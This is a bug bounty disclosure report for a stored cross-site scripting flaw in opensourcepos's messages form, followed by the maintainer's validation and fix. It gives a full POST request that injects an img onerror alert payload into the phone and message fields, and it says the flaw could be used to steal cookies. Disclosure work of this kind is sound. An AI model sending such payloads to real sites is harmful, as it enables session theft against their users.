Cross-site Scripting (XSS) - Stored in opensourcepos/opensourcepos

Valid

Reported on

Oct 17th 2021


Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.

Proof of Concept

// PoC.js

1--> Just got https://demo.opensourcepos.org/messages
2--> send a payload on number phone field .
3--> you will get an alert .

#POST HTTP Request:

 https://demo.opensourcepos.org/messages/send/


POST DATA: 

------WebKitFormBoundaryFINtyF3tWThqKgKc
Content-Disposition: form-data; name="csrf_ospos_v3"

29a6a2bc96c4020fe06b92d829f53467
------WebKitFormBoundaryFINtyF3tWThqKgKc
Content-Disposition: form-data; name="phone"

"><img src=x onerror=alert(5)>
------WebKitFormBoundaryFINtyF3tWThqKgKc
Content-Disposition: form-data; name="message"

"><img src=x onerror=alert(5)>
------WebKitFormBoundaryFINtyF3tWThqKgKc
Content-Disposition: form-data; name="submit_form"

Submit
------WebKitFormBoundaryFINtyF3tWThqKgKc--

Impact

This vulnerability is capable of claiming other users cookie performing other advanced scenarios .

We have contacted a member of the opensourcepos team and are waiting to hear back 2 months ago
We have contacted a member of the opensourcepos team and are waiting to hear back 2 months ago
jekkos validated this vulnerability 2 months ago
0x9x has been awarded the disclosure bounty
The fix bounty is now up for grabs
jekkos
2 months ago

Maintainer


This is already fixed in the latest version.. check dev.opensourcepos.org

jekkos confirmed that a fix has been merged on 2b031e 2 months ago
jekkos has been awarded the fix bounty